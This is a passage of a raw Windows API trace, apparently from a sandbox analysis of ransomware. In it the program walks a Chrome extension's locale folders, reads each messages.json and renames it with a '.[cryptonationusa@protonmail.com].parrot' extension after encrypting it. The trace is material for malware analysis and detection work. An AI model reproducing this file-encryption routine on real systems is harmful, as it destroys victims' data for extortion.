SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.813] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.813] CloseHandle (hObject=0x270) returned 1 [0066.813] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0066.816] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d04e8 | out: hHeap=0x5b0000) returned 1 [0066.816] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0066.816] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0188 | out: hHeap=0x5b0000) returned 1 [0066.818] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.818] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5869100, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5869100, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.818] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb5842fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0066.818] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.818] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0066.818] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.818] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0066.818] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0066.818] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x103, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0066.821] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21b, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.821] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0066.821] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0066.822] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.822] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x103, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x103, lpOverlapped=0x0) returned 1 [0066.822] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.822] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.822] CloseHandle (hObject=0x270) returned 1 [0066.823] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0066.894] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d04e8 | out: hHeap=0x5b0000) returned 1 [0066.894] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0066.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0188 | out: hHeap=0x5b0000) returned 1 [0066.896] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.896] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb59277e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb59277e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.896] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb5869100, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0066.896] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.897] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0066.897] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e98d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86e98d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.897] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0066.897] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0066.897] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0066.897] LockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x213, nNumberOfBytesToLockHigh=0x0) returned 1 [0066.897] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0066.897] ReadFile (in: hFile=0x270, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0066.898] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.898] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xfb, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xfb, lpOverlapped=0x0) returned 1 [0066.898] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.898] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x213, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0066.899] CloseHandle (hObject=0x270) returned 1 [0066.899] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0066.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03b0 | out: hHeap=0x5b0000) returned 1 [0066.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0066.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0066.968] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.968] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb59bfd60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb59bfd60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.968] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86e99540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb59277e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0066.968] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0066.968] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0066.968] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ebeed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ebeed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.968] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0066.968] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0066.968] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ec0640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd3d59700, ftLastWriteTime.dwHighDateTime=0x1d10aaf, nFileSizeHigh=0x0, nFileSizeLow=0xf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0067.012] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x20b, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.012] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0067.012] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0067.013] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.013] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xf3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xf3, lpOverlapped=0x0) returned 1 [0067.013] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.016] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x20b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.016] CloseHandle (hObject=0x28c) returned 1 [0067.016] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0067.065] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d03b0 | out: hHeap=0x5b0000) returned 1 [0067.065] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0067.065] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0070 | out: hHeap=0x5b0000) returned 1 [0067.067] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0067.067] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5aca700, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5aca700, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.067] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ec0640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb5a32180, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0067.067] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0067.067] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0067.067] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ebeed0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86ebeed0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.067] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0067.067] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0067.067] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ec0640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x101, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0067.068] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x219, nNumberOfBytesToLockHigh=0x0) returned 1 [0067.068] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0067.068] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0067.069] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.069] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x101, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x101, lpOverlapped=0x0) returned 1 [0067.069] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.069] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x219, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0067.069] CloseHandle (hObject=0x28c) returned 1 [0067.069] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0067.135] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d04e8 | out: hHeap=0x5b0000) returned 1 [0067.135] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0067.135] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d0188 | out: hHeap=0x5b0000) returned 1 [0067.137] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0067.137] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb5b62c80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb5b62c80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.137] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ec0640, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb5aca700, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, 